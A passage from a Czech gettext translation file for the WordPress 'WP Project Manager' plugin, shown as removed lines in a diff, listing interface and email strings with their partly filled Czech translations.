views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Jste si jist(a), že chcete odstranit tuto zprávu?" - -# @ cpm -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Jste si jist(a), že chcete odstranit tento projekt?" - -# @ cpm -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Vytvořit zprávu" - -# @ cpm -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Aktualizovat zprávu" - -# @ cpm -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Aktivita projektu" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Seznam úkolů" - -# @ cpm -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Cíle" - -# @ cpm -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Soubory" - -# @ cpm -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Upravit" - -# @ cpm -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Odstranit tuto zprávu" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Vložte název zprávy" - -# @ cpm -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Přidat zprávu" - -# @ cpm -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Aktualizovat zprávu" - -# @ cpm -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Vytvořit nový projekt" - -# @ cpm -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Název projektu" - -# @ wedevs -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Podrobnosti o projektu (nepovinné)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Vytvořit projekt" - -# @ cpm -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Aktualizovat projekt" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Upravit cíl" - -# @ cpm -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Odstranit cíl" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Označit jako splněný" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Název cíle" - -# @ cpm -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Přidat cíl" - -# @ cpm -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Aktualizivat cíl" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Přidat úkoly" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Aktualizovat seznam" - -# @ cpm -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Vytvořit seznam" - -# @ cpm -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Odstranit cíl" - -# @ cpm -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Uložit změny" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktivita" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Odstranit" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Vybrat všechny" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -# @ cpm -# @ wedevs -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Zrušit" - -# @ cpm -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Vybrat všechny" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -# @ default -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Odstranit soubor" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -# @ cpm -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Dokončeno" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -# @ cpm -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Upozornit uživatele" - -# @ cpm -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Načíst další" - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Vytvořit novou zprávu" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Tělo" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Žádní uživatelé nebyli nalezeni" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nový projekt" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Úkoly" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Splněné cíle" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Dokončeno:" - -# @ cpm -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Poslední cíle" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Aktuální cíle" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "vlevo" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nový seznam úkolů" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Nastavení emailů" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Typ emailu" - -# @ cpm -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML email" - -# @ cpm -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Neformátovaný text" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Limit velikosti pro nahrávané soubory" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Datum splnění" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Zobrazit úkol" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nová zpráva" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Zobrazit zprávu" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -# @ cpm -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Zobrazit projekt" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -# @ cpm -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Aktualizovat seznam" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -# @ cpm -#~ msgid "Project created by %s" -#~ msgstr "Projekt vytvořil %s" - -# @ cpm -#~ msgid "Project details updated by %s" -#~ msgstr "Detaily projektu upravil %s" - -#~ msgid "Message with ID %d was not found in the database" -#~ msgstr "Zpráva s ID %d nebyla v databázi nalezena" - -# @ cpm -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Zprávu \"%s\" ostranil %s" - -# @ cpm -#~ msgid "%s deleted a comment" -#~ msgstr "%s smazal 